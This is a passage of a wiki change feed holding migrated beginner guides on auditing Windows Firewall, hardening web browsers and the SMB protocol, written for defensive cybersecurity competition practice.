* https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-policy/group-policy-overview&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-policy/group-policy-management-console&lt;br /&gt;
* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn265982(v=ws.11)&lt;br /&gt;
* https://www.microsoft.com/en-us/download/details.aspx?id=55319&lt;br /&gt;
* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/how-to-configure-security-policy-settings&lt;br /&gt;
* https://github.com/scipag/HardeningKitty&lt;br /&gt;
* https://public.cyber.mil/stigs/scap/&lt;br /&gt;
* https://www.cisecurity.org/cis-benchmarks&lt;br /&gt;
* https://stigviewer.com/stigs&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Group Policy|006]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Firewall_Auditing_-_Beginner&amp;diff=180</id>
		<title>Draft:Firewall Auditing - Beginner</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Firewall_Auditing_-_Beginner&amp;diff=180"/>
		<updated>2026-09-22T05:42:50Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/firewall/Firewall_Beginner (source: docs/windows/firewall/Firewall_Beginner.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): brody001301&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-06-2026&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is a firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is a system that monitors and controls incoming and outgoing network traffic based on a set of rules.&lt;br /&gt;
&lt;br /&gt;
Windows ships with a built-in firewall, officially called Windows Defender Firewall with Advanced Security, often referred to as WFAS, or simply &amp;amp;quot;Windows Firewall&amp;amp;quot;. Windows Firewall runs as a service in the background and filters traffic before it ever reaches the applications running on the system. See the services section to understand how Windows services run.&lt;br /&gt;
&lt;br /&gt;
== Why do we need to audit the firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is only as strong as its configuration. A firewall with no rules, overly permissive rules, or rules that were added by malware or a careless administrator can leave a system just as exposed as having no firewall at all. Issues commonly found during an audit include:&lt;br /&gt;
&lt;br /&gt;
* Rules that allow traffic from any address (&amp;amp;quot;Any&amp;amp;quot; or 0.0.0.0/0) when only a specific IP or subnet should be trusted&lt;br /&gt;
* Unnecessary inbound rules left enabled for programs or ports that are no longer in use&lt;br /&gt;
* Rules created by an installed application that are broader than the application actually needs&lt;br /&gt;
* The firewall being disabled entirely on one or more profiles (see below)&lt;br /&gt;
* Logging being disabled, meaning there is no record of blocked or allowed connections to investigate later&lt;br /&gt;
&lt;br /&gt;
Just like with services, the goal of a firewall audit isn&#039;t to lock everything down blindly. Some inbound and outbound rules are required for the system to function correctly (file sharing, remote management, Windows Update, etc.). The goal is to make sure every rule that exists is necessary, scoped as tightly as possible, and matches what the benchmark or policy for your environment requires.&lt;br /&gt;
&lt;br /&gt;
A great place to start is a STIG or CIS benchmark, which will typically have a section dedicated to firewall configuration and can tell you exactly what should be enabled, disabled, or configured a certain way. A link to at least one benchmark is in the References &amp;amp;amp; Further Reading section below.&lt;br /&gt;
&lt;br /&gt;
== How does the firewall work? ==&lt;br /&gt;
&lt;br /&gt;
=== Profiles ===&lt;br /&gt;
&lt;br /&gt;
Windows Firewall uses the concept of profiles to apply different rules depending on the type of network the computer is connected to. There are three profiles:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain&#039;&#039;&#039; - Applied automatically when the computer is connected to a network where it can authenticate to a domain controller (i.e. a corporate/managed network)&lt;br /&gt;
* &#039;&#039;&#039;Private&#039;&#039;&#039; - Applied to networks the user has manually marked as trusted, such as a home or small office network&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; - Applied to untrusted networks, such as coffee shop Wi-Fi or any network not marked as Private&lt;br /&gt;
&lt;br /&gt;
Each profile can have its own independent settings: whether the firewall is on or off, the default action for inbound/outbound traffic, and which rules apply. This allows a laptop to be locked down tightly on Public networks but allow more traffic on its home Private network.&lt;br /&gt;
&lt;br /&gt;
=== Rules ===&lt;br /&gt;
&lt;br /&gt;
The firewall&#039;s behavior is defined by rules. Each rule can specify things like:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Direction&#039;&#039;&#039;: Inbound traffic coming into the machine, or Outbound traffic leaving the machine&lt;br /&gt;
* &#039;&#039;&#039;Action&#039;&#039;&#039;: Allow or block a connection&lt;br /&gt;
* &#039;&#039;&#039;Program&#039;&#039;&#039;: Restrict the rule to a specific executable&lt;br /&gt;
* &#039;&#039;&#039;Protocol and Ports&#039;&#039;&#039;: e.g. TCP port 443, UDP port 53&lt;br /&gt;
* &#039;&#039;&#039;Scope&#039;&#039;&#039;: Which local and remote IP addresses the rule applies to&lt;br /&gt;
* &#039;&#039;&#039;Profile&#039;&#039;&#039;: Which of the three profiles (Domain/Private/Public) the rule applies to&lt;br /&gt;
&lt;br /&gt;
By default, Windows Firewall blocks all unsolicited inbound traffic and allows all outbound traffic, then specific rules can be added on top of that baseline. Many built-in rules already exist for core Windows features such as file and printer sharing, remote desktop, network discovery, etc. Rules like these are typically disabled until the corresponding feature is turned on.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
&lt;br /&gt;
The firewall can be configured to log dropped packets, successful connections, or both, to a log file. This log is extremely valuable during an audit or an incident investigation, since it provides a record of what the firewall has actually been doing rather than just what it&#039;s configured to do. Logging is disabled by default and is one of the first things to check during an audit, since a benchmark will often require it to be turned on for both allowed and dropped connections.&lt;br /&gt;
&lt;br /&gt;
== Configuring the firewall ==&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to view and configure the Windows Firewall. The main ones are outlined below. It is worth setting up a practice image or testing VM so you can get hands-on experience with each method before touching a production system.&lt;br /&gt;
&lt;br /&gt;
=== Windows Defender Firewall with Advanced Security (wf.msc) ===&lt;br /&gt;
&lt;br /&gt;
This is the GUI tool for configuring Windows Firewall in detail. To open it, search for &amp;amp;quot;Windows Defender Firewall with Advanced Security&amp;amp;quot; in the Windows search bar, or run &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; from the Run dialog or a terminal. From &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; you can:&lt;br /&gt;
&lt;br /&gt;
* View and edit Inbound Rules and Outbound Rules separately&lt;br /&gt;
* Create new rules using a guided wizard with options for program, port, predefined feature, or custom&lt;br /&gt;
* View and edit Connection Security Rules, such as those used for IPsec&lt;br /&gt;
* Check and change the profile level settings (Domain/Private/Public) by right-clicking the root node and selecting Properties, including whether the firewall is on, the default inbound/outbound action, and logging settings&lt;br /&gt;
&lt;br /&gt;
Double clicking any rule in the list brings up its Properties, letting you inspect or change its program, ports, scope, and profile in detail. This is generally the best tool for a manual, visual audit of exactly what rules exist and how they&#039;re scoped.&lt;br /&gt;
&lt;br /&gt;
=== netsh advfirewall ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is a long standing command line tool for network configuration, and its &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; context is used specifically for the firewall. &amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is run from cmd.exe or PowerShell. Some useful examples:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall show allprofiles&amp;lt;/code&amp;gt; - shows the state and default settings of all three profiles&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all&amp;lt;/code&amp;gt; - lists every configured rule and its properties&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall set allprofiles logging droppedconnections enable&amp;lt;/code&amp;gt; - turns on logging of blocked connections for all profiles&lt;br /&gt;
&lt;br /&gt;
A full explanation of every &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; option is out of scope for this article, but running &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all help&amp;lt;/code&amp;gt;, or reading the documentation below, will give you a rundown of available options.&lt;br /&gt;
&lt;br /&gt;
=== PowerShell (NetSecurity module) ===&lt;br /&gt;
&lt;br /&gt;
PowerShell has a dedicated set of cmdlets for firewall management, found in the &amp;lt;code&amp;gt;NetSecurity&amp;lt;/code&amp;gt; module. These generally follow the pattern &amp;lt;code&amp;gt;*-NetFirewall*&amp;lt;/code&amp;gt;. Some of the most useful ones for auditing are:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallProfile&amp;lt;/code&amp;gt; - shows the settings of each profile, including whether it&#039;s enabled and its default inbound/outbound actions&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule&amp;lt;/code&amp;gt; - lists all configured rules; can be piped to &amp;lt;code&amp;gt;Get-NetFirewallPortFilter&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;Get-NetFirewallAddressFilter&amp;lt;/code&amp;gt; to see the specific ports or addresses tied to each rule&lt;br /&gt;
* &amp;lt;code&amp;gt;New-NetFirewallRule&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Set-NetFirewallRule&amp;lt;/code&amp;gt; - create or modify rules&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule -Enabled True -Direction Inbound&amp;lt;/code&amp;gt; - a quick way to filter down to just the active inbound rules, which is often the most important thing to check during an audit&lt;br /&gt;
&lt;br /&gt;
As with any PowerShell cmdlet, you can run &amp;lt;code&amp;gt;Get-Help [command] -Full&amp;lt;/code&amp;gt; for detailed usage and examples.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall&lt;br /&gt;
* https://learn.microsoft.com/en-us/powershell/module/netsecurity/&lt;br /&gt;
* https://downloads.cisecurity.org/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/best-practices-configuring&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Firewall|018]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Hardening_Web_Browsers&amp;diff=179</id>
		<title>Draft:Hardening Web Browsers</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Hardening_Web_Browsers&amp;diff=179"/>
		<updated>2026-09-22T05:42:49Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/app_sec/web_browser/hardening_web_browsers (source: docs/windows/app_sec/web_browser/hardening_web_browsers.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-06-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* Basic knowledge of Windows &amp;lt;br /&amp;gt;&lt;br /&gt;
* Registry&amp;lt;br /&amp;gt;&lt;br /&gt;
* Group Policy&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What are web browsers? ==&lt;br /&gt;
&lt;br /&gt;
An app that helps you browse the web 🤯. In other words, a web browser is a software application that allows users to access and display web pages on the internet. The most common browsers are:&lt;br /&gt;
&lt;br /&gt;
# Google Chrome&lt;br /&gt;
# Firefox&lt;br /&gt;
# Microsoft Edge These Web Browsers can be configured through the registry and are very similar when configuring security policies.&lt;br /&gt;
&lt;br /&gt;
== Why do we need to secure them? ==&lt;br /&gt;
&lt;br /&gt;
Securing web browsers are important for a variety of reasons, such as:&lt;br /&gt;
&lt;br /&gt;
# Preventing the download of malicious software and reduce the likelihood of phishing attacks&lt;br /&gt;
# Protecting Sensitive Data(passwords, history, etc)&lt;br /&gt;
# Preventing Tracking&lt;br /&gt;
&lt;br /&gt;
== Administrative Templates ==&lt;br /&gt;
&lt;br /&gt;
Administrative Templates are a set of Group Policy settings in Windows that allow administrators to manage and configure the behavior and appearance of the Windows operating system and its components. Think of it as an add-on to group policy.&lt;br /&gt;
&lt;br /&gt;
This is by far the easiest way of configuring policies, as it is much harder to go through documentation and find the right registry keys and set them to the right value. You can find them here:&lt;br /&gt;
&lt;br /&gt;
# [https://support.google.com/chrome/a/answer/187202#zippy=%2Cwindows Google Chrome]&lt;br /&gt;
# [https://github.com/mozilla/policy-templates/releases Firefox]&lt;br /&gt;
# [https://www.microsoft.com/en-us/edge/business/download?cs=1873324239&amp;amp;form=MA13FJ Microsoft Edge]&lt;br /&gt;
&lt;br /&gt;
== Main methods to secure Web Browsers ==&lt;br /&gt;
&lt;br /&gt;
Because there are so many web browsers, this guide will cover the main concepts for hardening them. These principles apply with any web browser.&lt;br /&gt;
&lt;br /&gt;
=== 1. Keep Your Browser and Extensions Updated ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it is:&#039;&#039;&#039; Self explanatory.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Why it&#039;s important:&#039;&#039;&#039; Attackers often exploit known vulnerabilities in outdated browser versions to install malware, steal data, or take control of your system.&lt;br /&gt;
&lt;br /&gt;
=== 2. Enforce Secure Connections with HTTPS-Only Mode ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it is:&#039;&#039;&#039; This is a browser setting that forces connections to websites to use the encrypted HTTPS protocol. If a site doesn&#039;t support HTTPS, the browser will warn you before connecting or block the connection altogether.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Why it&#039;s important:&#039;&#039;&#039; An unencrypted HTTP connection lets anyone on the same network, like public Wi-Fi, potentially intercept and read your data, including passwords and personal information.&lt;br /&gt;
&lt;br /&gt;
=== 3. Enable Safe Browsing and Phishing Protection ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it is:&#039;&#039;&#039; This is a security feature that checks the sites you visit and the files you download against a regularly updated list of known threats. It will warn you or block access to websites suspected of hosting malware, phishing schemes, or unwanted software.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Why it&#039;s important:&#039;&#039;&#039; This feature prevents accidentally going to a fraudulent banking site or downloading a virus disguised as a legitimate file.&lt;br /&gt;
&lt;br /&gt;
=== 4. Block Third-Party Cookies and Tracking Content ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it is:&#039;&#039;&#039; This is a privacy setting that stops websites from using cookies and scripts from services you are not directly visiting. While first-party cookies can be useful, like keeping you logged in, third-party cookies are mainly used by advertisers and data brokers to build a profile of your online activity.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Why it&#039;s important:&#039;&#039;&#039; Blocking third-party trackers improves privacy, reduces targeted advertising, and protects you from malicious scripts that can be delivered through ad networks.&lt;br /&gt;
&lt;br /&gt;
=== 5. Restrict Site Permissions ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it is:&#039;&#039;&#039; This allows you to control which websites can access your computer&#039;s hardware and sensitive information, such as your microphone, camera, location, and notifications. Browsers typically ask for your permission the first time a site requests access.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Why it&#039;s important:&#039;&#039;&#039; Unchecked permissions can be abused. A malicious or compromised website could spy on you through your camera, track your location, or spam you with unwanted notifications.&lt;br /&gt;
&lt;br /&gt;
=== 6. Block Pop-ups and Malicious Redirects ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it is:&#039;&#039;&#039; This is a default browser feature that prevents websites from opening unexpected new windows or tabs.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Why it&#039;s important:&#039;&#039;&#039; Pop-ups are often used for phishing attacks and malware delivery. By blocking them, you prevent them.&lt;br /&gt;
&lt;br /&gt;
=== 7. Manage Passwords and Autofill Securely ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it is:&#039;&#039;&#039; The browser&#039;s built-in password manager and autofill feature store sensitive data. Secure management means using a strong primary password, if available, to protect your stored credentials and being selective about what information the browser saves automatically.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Why it&#039;s important:&#039;&#039;&#039; If someone gains access to your unlocked computer, they could see all your saved passwords or use autofill to steal your identity or financial information.&lt;br /&gt;
&lt;br /&gt;
=== 8. Configure Download Security Settings ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What it is:&#039;&#039;&#039; This extends Safe Browsing by focusing on downloaded files. You can set it to automatically scan files for malware and warn you about potentially unwanted programs or files that are not commonly downloaded, which could indicate a threat.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Why it&#039;s important:&#039;&#039;&#039; Drive-by downloads and Trojan horse files are common ways malware infects a system. This setting adds an important checkpoint, prompting you to think twice before opening a potentially harmful file.&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
Images such as potanic(4 vulns), Titan(2 vulns),DPRK(2 vulns), King Aurthor&#039;s castle(2 vulns), Tokyo(2 vulns), Apeture Science(3 vulns), and Kali&#039;s image(3 vulns), and PPTH(3 vulns) are some images with Browser Security vulnerabilities(excluding updating browsers) https://images.cypat.guide#gid=0&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== STIGs, Benchmarks, and Documentation ===&lt;br /&gt;
&lt;br /&gt;
* https://workbench.cisecurity.org/benchmarks/8691&lt;br /&gt;
* https://workbench.cisecurity.org/benchmarks/18454&lt;br /&gt;
* https://workbench.cisecurity.org/benchmarks/18501&lt;br /&gt;
* https://stigviewer.com/stigs/google_chrome_current_windows&lt;br /&gt;
* https://stigviewer.com/stigs/mozilla_firefox&lt;br /&gt;
* https://stigviewer.com/stigs/microsoft_edge&lt;br /&gt;
* https://chromeenterprise.google/policies/&lt;br /&gt;
* https://mozilla.github.io/policy-templates/&lt;br /&gt;
* https://learn.microsoft.com/en-us/deployedge/microsoft-edge-policies&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Web Browser Security|017]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_SMB&amp;diff=178</id>
		<title>Draft:Introduction to SMB</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_SMB&amp;diff=178"/>
		<updated>2026-09-22T05:42:49Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/app_sec/smb/intro_smb (source: docs/windows/app_sec/smb/intro_smb.md) --&amp;gt;&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-23-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* Basic knowledge of Windows &amp;lt;br /&amp;gt;&lt;br /&gt;
* Basic knowledge of Networking&lt;br /&gt;
* Basic knowledge of the Registry&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is it? ==&lt;br /&gt;
&lt;br /&gt;
Server Message Block (SMB) is a communication protocol used to share files, printers, serial ports, and miscellaneous communications between nodes on a network. On Microsoft Windows, the SMB implementation consists of two Windows services: &amp;lt;code&amp;gt;Server&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;Workstation&amp;lt;/code&amp;gt; (full service names are LanmanServer and LanmanWorkstation). Their full service names also are their names in their respective registry path. It uses NTLM or Kerberos protocols for user authentication. It also provides an authenticated inter-process communication (IPC) mechanism.&lt;br /&gt;
&lt;br /&gt;
=== Why and Where is SMB Used? ===&lt;br /&gt;
&lt;br /&gt;
The main purpose of SMB is to help computers on a network share resources easily. This connection between a client machine and a server&#039;s resources makes it an important protocol in almost every Windows-based environment.&lt;br /&gt;
&lt;br /&gt;
Examples:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Corporate File Sharing:&#039;&#039;&#039; Accessing a shared network drive on a company file server to open, edit, and save documents.&lt;br /&gt;
* &#039;&#039;&#039;Domain Administration:&#039;&#039;&#039; When a computer logs into a Windows domain, it uses SMB to connect to the Domain Controller’s &amp;lt;code&amp;gt;SYSVOL&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;NETLOGON&amp;lt;/code&amp;gt; shares to download important login scripts and Group Policy security settings.&lt;br /&gt;
* &#039;&#039;&#039;Shared Network Printing:&#039;&#039;&#039; Sending a print job from your computer to a central printer that is shared across the office network.&lt;br /&gt;
&lt;br /&gt;
== How does it work? ==&lt;br /&gt;
&lt;br /&gt;
* The client sends an SMB request to the server to initiate the connection.&lt;br /&gt;
* When the server receives the request, it sends an SMB response back to the client, establishing the communication channel necessary for a two-way conversation.&lt;br /&gt;
* Once it is granted access, the client can access the required resource for reading, writing, executing and so on.&lt;br /&gt;
&lt;br /&gt;
Since the network server has a resource that it shares with one or more clients, the protocol is also known as a server-client protocol. The SMB protocol operates on the application layer of the TCP/IP model, but relies on lower network levels for transport. When SMB was using NBT, it relied on ports 137, 138 and 139 for transport. Now, SMB runs directly over TCP/IP and uses port 445. Port 445 supports data encryption and digital signing of SMB packets, providing a more secure means of communication than port 139.&lt;br /&gt;
&lt;br /&gt;
== Important Files and Locations ==&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares&amp;lt;/code&amp;gt; - Stores the definitions and paths of all SMB shares on the system.&lt;br /&gt;
* &amp;lt;code&amp;gt;HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&amp;lt;/code&amp;gt; - Controls SMB server settings.&lt;br /&gt;
* &amp;lt;code&amp;gt;HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters&amp;lt;/code&amp;gt; - Controls SMB client settings.&lt;br /&gt;
* &amp;lt;code&amp;gt;C:\Windows\System32\srvsvc.dll&amp;lt;/code&amp;gt; - Core DLL for the SMB server service.&lt;br /&gt;
* &amp;lt;code&amp;gt;C:\Windows\System32\srv.sys&amp;lt;/code&amp;gt; - Kernel driver for SMB server functionality.&lt;br /&gt;
* &amp;lt;code&amp;gt;%SystemRoot%\System32\config&amp;lt;/code&amp;gt; - Location of system registry hives, including those that store SMB configuration.&lt;br /&gt;
* &amp;lt;code&amp;gt;%UserProfile%\NTUSER.DAT&amp;lt;/code&amp;gt; - Contains user-specific registry settings, including recent SMB connections and mount points.&lt;br /&gt;
* &amp;lt;code&amp;gt;UNC Paths (\Server\Share)&amp;lt;/code&amp;gt; - Standard syntax for accessing SMB shares in Windows Explorer or via command line.&lt;br /&gt;
* &amp;lt;code&amp;gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices]&amp;lt;/code&amp;gt; - Maps network drives for all users by assigning a drive letter to a UNC path.&lt;br /&gt;
* &amp;lt;code&amp;gt;Administrative shares (C$, ADMIN$, IPC$)&amp;lt;/code&amp;gt; - Hidden default shares for administrative access, automatically created by Windows.&lt;br /&gt;
&lt;br /&gt;
== SMB Versions ==&lt;br /&gt;
&lt;br /&gt;
=== SMB 1.x ===&lt;br /&gt;
&lt;br /&gt;
* Designed in early 1980s by IBM; extended by Microsoft around 1990.&lt;br /&gt;
* Sends a lot of messages, causing performance issues on high-latency networks.&lt;br /&gt;
* Uses weak authentication (LAN Manager passwords, flawed DES).&lt;br /&gt;
* No native encryption; limited signing capabilities.&lt;br /&gt;
&lt;br /&gt;
=== SMB 2.x (SMB 2.0 and 2.1) ===&lt;br /&gt;
&lt;br /&gt;
* Introduced in 2006 with Windows Vista and Server 2008.&lt;br /&gt;
* Reduced messages sent with fewer commands and pipelining.&lt;br /&gt;
* Improved security with better signing (HMAC SHA-256).&lt;br /&gt;
* Improved performance and scalability.&lt;br /&gt;
&lt;br /&gt;
=== SMB 3.x (3.0, 3.0.2, 3.1.1 and later) ===&lt;br /&gt;
&lt;br /&gt;
* Introduced with Windows 8 / Server 2012.&lt;br /&gt;
* Major features for virtualization and datacenters&lt;br /&gt;
* Native &#039;&#039;&#039;encryption&#039;&#039;&#039; support:&lt;br /&gt;
** SMB 3.0: AES-128 CCM encryption.&lt;br /&gt;
** SMB 3.1.1 (Windows 10 / Server 2016): AES-128 GCM encryption and pre-authentication integrity (SHA-512).&lt;br /&gt;
* Mandatory secure negotiation on SMB 3.1.1.&lt;br /&gt;
* SMB 1 disabled by default starting Windows Server 2012 R2.&lt;br /&gt;
&lt;br /&gt;
You can read more [https://en.wikipedia.org/wiki/Server_Message_Block#History here]&lt;br /&gt;
&lt;br /&gt;
== Security ==&lt;br /&gt;
&lt;br /&gt;
Some important security settings should be enforced, such as:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Disable SMB 1.0&#039;&#039;&#039; - Older versions of SMB are less secure. Disable more if it does not harm compatibility.&lt;br /&gt;
* &#039;&#039;&#039;Strong Authentication&#039;&#039;&#039; - Use Kerberos when possible.&lt;br /&gt;
* &#039;&#039;&#039;Principle of Least Privilege&#039;&#039;&#039; - Grant users only the necessary permissions.&lt;br /&gt;
* &#039;&#039;&#039;Siging and Encrpytion&#039;&#039;&#039; - Use AES-128-GCM and enable SMB Signing on both clients and servers.&lt;br /&gt;
* &#039;&#039;&#039;Auditing&#039;&#039;&#039; - Obviously&lt;br /&gt;
&lt;br /&gt;
== References &amp;amp;amp; Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Server_Message_Block&lt;br /&gt;
* https://www.techtarget.com/searchnetworking/definition/Server-Message-Block-Protocol&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview&lt;br /&gt;
* https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mscs/file-share&lt;br /&gt;
&lt;br /&gt;
== Practice ==&lt;br /&gt;
&lt;br /&gt;
DPRK(3 vulns), Mushroom Kingdom(3 vulns), PPTH(3 vulns), and Among the Reindeer(2 vulns) are some images with SMB. https://images.cypat.guide#gid=0&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== Vulnerability Research ==&lt;br /&gt;
&lt;br /&gt;
* https://stigviewer.com/stigs/microsoft_windows_server_2022&lt;br /&gt;
* https://workbench.cisecurity.org/benchmarks/21344&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows SMB|015]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_RDP&amp;diff=177</id>
		<title>Draft:Introduction to RDP</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_RDP&amp;diff=177"/>
		<updated>2026-09-22T05:42:49Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/app_sec/rdp/intro_rdp (source: docs/windows/app_sec/rdp/intro_rdp.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): a_person&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-04-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
